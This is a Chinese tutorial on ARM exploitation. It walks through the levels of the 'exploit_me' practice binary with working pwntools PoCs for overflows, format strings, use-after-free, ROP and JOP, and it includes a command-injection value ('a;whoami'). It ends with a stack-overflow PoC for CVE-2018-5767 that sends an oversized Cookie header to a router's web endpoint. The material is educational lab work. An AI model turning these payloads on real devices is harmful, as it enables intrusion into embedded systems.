Arm基础漏洞挖掘

0x00 简介

ARM 属于 CPU 架构的一种,主要应用于嵌入式设备、智能手机、平板电脑、智能穿戴、物联网设备等。 ARM64 指使用64位ARM指令集,64位指指数据处理能力即一条指令处理的数据宽度,指令编码使用定长32比特编码。

0x01 ARM

1.1 字节序

字节序分为大端(BE)和小端(LE):

  • 大端序(Big-Endian)将数据的低位字节存放在内存的高位地址,高位字节存放在低位地址。这种排列方式与数据用字节表示时的书写顺序一致,符合人类的阅读习惯。

  • 小端序(Little-Endian)将一个多位数的低位放在较小的地址处,高位放在较大的地址处。小端序与人类的阅读习惯相反,但更符合计算机读取内存的方式,因为CPU读取内存中的数据时,是从低地址向高地址方向进行读取的。 在v3之前,ARM体系结构为little-endian字节序,此后,ARM处理器成为BI-endian,并具允许可切换字节序。

    1.2 寄存器

    1.2.1 32位寄存器

    R0-R12:正常操作期间存储临时值、指针。 其中:

  • R0用于存储先前调用的函数的结果

  • R7用于存储系统调用号

  • R11跟踪用作帧指针的堆栈的边界,函数调用约定指定函数的前四个参数存储在寄存器 R0-R3 中

  • R13也称为SP,作为堆栈指针,指向堆栈的顶部

  • R14也被称为 LR,作为链接寄存器,进行功能调用时,链接寄存器将使用一个内存地址进行更新,该内存地址引用了从其开始该功能的下一条指令,即保存子程序保存的地址

  • R15也称为PC,即程序计数器,程序计数器自动增加执行指令的大小。 当参数少于4个时,子程序间通过寄存器R0~R3来传递参数;当参数个数多于4个时,将多余的参数通过数据栈进行传递,入栈顺序与参数顺序正好相反,子程序返回前无需恢复R0~R3的值。 在子程序中,使用R4~R11保存局部变量,若使用需要入栈保存,子程序返回前需要恢复这些寄存器;R12是临时寄存器,使用不需要保存。 子程序返回32位的整数,使用R0返回;返回64位整数时,使用R0返回低位,R1返回高位。

    1.2.2 64位寄存器

    1.3 指令

    ARM 指令模版: MNEMONIC{S} {condition} {Rd}, Operand1, Operand2

    [!NOTE] MNEMONIC:指令简称 {S}:可选后缀,如果指定了S,即可根据结果更新条件标志 {condition}:执行指令需满足的条件 {Rd}:用于存储指令结果的寄存器 Operand1:第一个操作数,寄存器或立即数 Operand2:可选,可以是立即数或者带可移位的寄存器

1.4 栈帧

栈帧是一个函数所使用的那部分栈,所有的函数的栈帧串起来就是一个完整的栈。栈帧的边界分别由 fp 和 sp 来限定。 FP就是栈基址,它指向函数的栈帧起始地址;SP则是函数的栈指针,它指向栈顶的位置。ARM压栈的顺序依次为当前函数指针PC、返回指针LR、栈指针SP、栈基址FP、传入参数个数及指针、本地变量和临时变量。 如果函数准备调用另一个函数,跳转之前临时变量区先要保存另一个函数的参数。从main函数进入到func1函数,main函数的上边界和下边界保存在被它调用的栈帧里面。

1.5 叶子函数和非叶子函数

叶子函数是指本身不会调用其他函数,非叶子函数相反。非叶子函数在调用时 LR 会被修改,因此需要保留该寄存器的值。在栈溢出的场景下,非叶子函数的利用会比较简单。

0x02 固件模拟

ARM架构的二进制程序,要进行固件模拟才可以运行和调试。 目前比较主流的方法还是使用QEMU,可以参考路由器固件模拟环境搭建,也可以用一些仿真工具,比如 Firmadyne 和 firmAE。 如果想依靠固件模拟自建一些工具,可以考虑使用 Qiling

0x03 漏洞

3.1 exploit_me

下载地址 运行bin目录下的 expliot64开始进行挑战: image.png

Level 1: Integer overflow

漏洞触发代码如下: image.png a1 是传入的第二个参数,atoi 函数可以将传入的参数字符串转为整数,然后进行判断,第一个判断是判断转换后的v2是否为0或负数,若不是,则进入第二个判断,判断 v2 的低16位(WORD)是否不为0,即低16位是否为0,若为0则跳过判断。 atoi 函数存在整数溢出,当输入 -65536,会转换为0xffff0000: image.png 此数的低16位是0,因此可以绕过判断。 image.png

Level 2: Stack overflow

漏洞触发代码如下: image.png image.png

verify_user 函数会验证输入的第一个参数是否为 admin,验证完成后,会继续验证第二个参数是否是 funny,看起来似乎很简单,但是可以看到即使两个参数都按照要求输入,也不会得到 level3 password: image.png 查看第三关的入口,可以看到第三关的password参数为 aVelvet: image.png 通过查找引用可以得到 level3password 这个函数才是输出 aVelvet 的关键函数,但是此函数并未被引用。然而 strcpy(&v3, a1) 这一行伪代码暴露出存在栈溢出,因此可以通过覆盖栈上存储的返回地址,来跳转到 level3password 函数中。 首先通过 pwndbg cyclic 生成一个长度为200的序列,当作第一个参数输入: image.png 得到偏移为16。 IDA 查看 level3password 地址为 0x401178,因此构造PoC:

1
2
3
4
5
6
from pwn import *
context.arch = 'aarch64'
context.os = 'linux'
pad = b'aaaaaaaaaaaaaaaa\x78\x11\x40'
io = process(argv=['./exploit64','help',pad,'123'])
print(io.recv())

image.png 得到 password “Velvet”

Level 3: Array overflow

抽出核心代码为:

1
2
3
4
5
a1 = atoi(argv[2]);
a2 = atoi(argv[3]);
_DWORD v3[32]; // [xsp+20h] [xbp+20h]
v3[a1] = a2;
return printf("filling array position %d with %d\n", a1, a2);

这里有很明显的数组越界写入的问题。用gdb 进行调试:gdb --args ./exploit64 Velvet 33 1,在 0x401310(str w2, [x1, x0] 数组赋值) 处下断点,查看寄存器: image.png 可以看到,当执行到赋值语句时,值传递是在栈上进行的,因此此处可以实现栈上的覆盖。 gdbserver配合IDA pro 尝试: image.png 当传入参数为34,00000000 时,可以看到此刻执行STR W2, [X1,X0] 是将00000000 传到 0x000FFFFFFFFEBC0 + 0x84 = 0x000FFFFFFFFEC44 中: image.png 0x000FFFFFFFFEC48 存储的就是 array_overflow 函数在栈上存储的返回地址。 因此只要覆盖此位置就可以劫持程序执行流。与 level2 同理,找到password 函数地址为 0x00000000004012C8 因此构造PoC:

1
2
3
4
5
6
7
8
9
from pwn import *

context.arch = 'aarch64'
context.os = 'linux'
context.log_level = 'debug'

pad = "4199112"(0x00000000004012C8转十进制作为字符串传入)
io = process(argv=['./exploit64','Velvet',"34",pad])
print(io.recv())

image.png

Level 4: Off by one

核心代码如下: image.png 传入的参数长度不能大于 0x100,复制到v3[256] 后,要使 v4 = 0。 字符串在程序中表示时,其实是会多出一个 “0x00” 来作为字符串到结束符号。因此PoC为:

1
2
3
4
5
6
7
8
9
from pwn import *

context.arch = 'aarch64'
context.os = 'linux'
context.log_level = 'debug'

payload = 'a' * 256
io = process(argv=['./exploit64','mysecret',payload])
print(io.recv())

image.png

image.png Stack Cookie 是为了应对栈溢出采取的防护手段之一,目的是在栈上放入一个检验值,若栈溢出Payload在覆盖栈空间时,也覆盖了 Stack Cookie,则校验 Cookie 时会退出。 这里的Stack Cookie 是 secret = 0x1337。 image.png 通过汇编可以看出,v2 存储在 sp+0x58 – sp+ 0x28 中,所以当 strcpy 没限制长度时,可以覆盖栈空间,secret 存储在 sp+0x6C 中,v3 存储在 sp+0x68中,因此只要覆盖这两个位置为判断值,就可以完成攻击。

Level 6: Format string

[!NOTE] 格式化字符串漏洞 格式化字符串漏洞是比较经典的漏洞之一。 printf 函数的第一个参数是字符串,开发者可以使用占位符,将实际要输出的内容,也就是第二个参数通过占位符标识的格式输出。 例如: image.png 当第二个参数为空时,程序也可以输出: image.png 这是因为,printf从栈上取参时,当第一个参数中存在占位符,它会认为第二个参数也已经压入栈,因此通过这种方式可以读到栈上存储的值。 格式化字符串漏洞的典型利用方法有三个:

  1. 栈上数据,如上所述
  2. 任意地址读: 当占位符为%s时,读取的第二个参数会被当作目标字符串的地址,因此如果可以在栈上写入目标地址,然后作为第二个参数传递给printf,就可以实现任意地址读
  3. 任意地址写: 当占位符为%n时,其含义是将占位符之前成功输出的字节数写入到目标地址中,因此可以实现任意地址写,如: image.png 一般配合%c使用,%c可以输出一个字符,在利用时通过会使用

程序逻辑为: image.png image.png 程序逻辑为输入 password,打印 password,判断 v1 是否为 89,是则输出密码。 这里 printf(Password),Password 完全可控,这里存在格式化字符串漏洞。 通过汇编可以看到: image.png image.png Arm64 函数调用时前八个参数会存入 x0-x7 寄存器,因此第8个占位符会从栈上开始取参,sp+0x18 是我们需要修改的地址,因此偏移为 7+3=10。 PoC为:

1
2
3
4
5
6
7
8
9
from pwn import *

context.arch = 'aarch64'
context.os = 'linux'
context.log_level = 'debug'
payload = '%16lx'*9+'%201c%n' # 16*9+201=345=0x159
io = process(argv=['./exploit64','happyness'])
io.sendline(payload)
print(io.recv())

image.png

Level 7: Heap overflow

image.png v7 和 v8 都是创建的堆空间,且在 strcpy 时未规定长度,因此可以产生堆溢出,从而覆盖到v7的堆空间,完成判断。 通过 pwngdb 生成测试字符串,在 printf处下断点,查看 v7 是否被覆盖和偏移: image.png 通过 x1 寄存器可知,偏移为 48。 因此 PoC为:

1
2
3
4
5
6
7
8
9
10
from pwn import *

context.arch = 'aarch64'
context.os = 'linux'
context.log_level = 'debug'

payload = 'A'*48 + '\x63\x67'
io = process(argv=['./exploit64','mypony',payload])
#io.sendline(payload)
print(io.recv())

image.png

Level 8: Structure redirection / Type confusion

image.png 一直跟进Msg:Msg: image.png 而在strcpy 下面一行有用 v12 作为函数指针执行,v12 = v2 = &Run::Run(v2), image.png

因此需要通过strcpy覆盖栈空间上存储的v12,来控制函数执行流。且覆盖为0x4c55a0,从而在取出 v12 当作函数指针执行时可以指向Msg::msg: image.png 根据汇编,v12 存储在 sp+0x90-0x10 = sp+0x80 处,strcpy 从 sp+0x90-0x68 = sp+0x28 处开始,偏移为 0x80-0x28 - 0x8 = 0x50。 因此PoC为:./exploit64 Exploiter $(python -c 'import sys;sys.stdout.buffer.write(b"A"*(20*4)+b"\xa0\x55\x4c\x00\x00\x00\x00\x00")') image.png

Level 9: Zero pointers

image.png image.png image.png 先使用 gdb 调试, gdb --args ./exploit64 Gimme a 1,程序报错: image.png 第二个参数应该填写的是地址: image.png 在程序执行过程中,v4指向的值会被置0,v4指向的是a1的地址,因此a1地址指向的值会变为0。 因此要想完成 v3 的判断,只需要将 v3 地址传入即可。 PoC为./exploit64 Gimme 0xffffffffec9c 1: image.png

Level 10: Command injection

image.png 关键点 v9 = "man" + *(a2+16),v9中要包含 “;” 才可以完成判断。 因此 PoC 为 ./exploit64 Fun "a;whoami": image.png

Level 11: Path Traversal

image.png PoC为./exploit64 Violet dir1/dir2/../..

Level 12: Return oriented programming (ROP)

scanf 并未限制长度,因此此处存在溢出,通过pwndbg 的 cyclic 得到偏移为72。 现在目的是跳到 comp 函数中,且参数要为 0x5678: image.png 因此需要构造 Rop Gadget,构造的 Gadget 应该具备以下功能,将comp 判断的地址 0x400784加入lr寄存器(x30),并能执行 ret,这样就可以在溢出时,将程序执行流劫持到 Rop Gadget 的地址。 image.png 这样在跳转时这个地址会被压栈作为 Rop 的 ret 的返回地址。 程序给了一个叫 ropgadgetstack 的 rop Gadget: image.png 通过调试可知,x0 和 x1 在 0x400744 执行后都为当前sp寄存器存储的值,因此 0x400784的比较可以正常完成;lr寄存器,也就是x30 = (0x400744 时)sp+0x10 + 0x8。 输入 payload = b'A'*72 + p64(0x400744) + b'BBBBCCCCDDDDEEEEFFFFGGGGHHHHJJJJKKKKLLLLMMMMNNNNOOOOPPPP' 进行调试: image.png 可知,paylad 从 0x400744后,再填充32个字符开始,会覆盖到当前$sp,因此只要再覆盖24个字符后,覆盖为 0x400784 就可以在 ret 执行后跳到 comp 的比较处。payload为 payload = b'A'*72 + p64(0x400744) + b'B'*32 + b'C'*16 + b'D'*8 + p64(0x400784) image.png

Level 13: Use-after-free

image.png image.png

根据代码逻辑可看出,输入的第二个参数决定了执行 switch 几次以及执行那一个选项,0是 malloc,mappingstr就指向堆块;1是 free;2 是函数指针执行;3是 malloc,且malloc 申请地址后存储的值就是 command。 很明显这是一个Use After Free,通过0创建一个堆块,mappingstr不为空此时再 free mappingstr,再malloc一个相同大小的堆块,就可以申请到 mappingstr 的堆块,复制 command 到堆块后,再通过函数指针执行。level13password函数地址是 0x4008c4。 因此 payload 为:payload = b'a' * 64 + p64(0x4008c4) 执行参数为 0312: image.png

Level 14: Jump oriented programming (JOP)

与ROP不同,JOP 是使用程序间接接跳转和间接调用指令来改变程序的控制流,当程序在执行间接跳转或者是间接调用指令时,程序将从指定寄存器中获得其跳转的目的地址,由于这些跳转目的地址被保存在寄存器中,而攻击者又能通过修改栈中的内容来修改寄存器内容,这使得程序中间接跳转和间接调用的目的地址能被攻击者篡改,从而劫持了程序的执行流。 image.png 关键点在两个 fread 上,第一个 fread 将文件中的4个字节读到 v2 中,第二个read 又将 v2 作为读取字节数,从 v5 中读取到 v3,v3 分配在栈空间上,因此这里会出现栈溢出。 看汇编会更明显: image.png 通过 gdb 测试,得到偏移为 52。 往一个文件里写入 data = b'A'*52 + p64(0x400898) 执行: image.png

3.2 CVE 案例

CVE-2018-5767

具体分析过程可见:CVE-2018-5767 漏洞触发点在: 此处存在一个未经验证的 sscanf,它会将 v40 中存储的值按照 "%*[^=]=%[^;];*" 格式化输入到 v33,但是并未验证字符串长度,因此此处会产生一个栈溢出。 PoC 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests



url = "http://10.211.55.4:80/goform/execCommand"



payload = 'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaae' +".png"

headers = {

'Cookie': 'password=' + payload

}



print(headers)



response = requests.request("GET", url, headers=headers)

通过远程调试可观察到,在 PoC 执行后: image.png 由于栈溢出,PC 寄存器被覆盖,导致程序执行到错误的内存地址而报错。偏移量为444。

0x04 总结

ARM的分析与x86类似,只是在函数调用、寄存器等方面存在差异,相对来说保护机制也较弱,且应用场景更为广泛,如IOT设备、车联网等,如果能顺利完成固件提取,可玩性相对较高。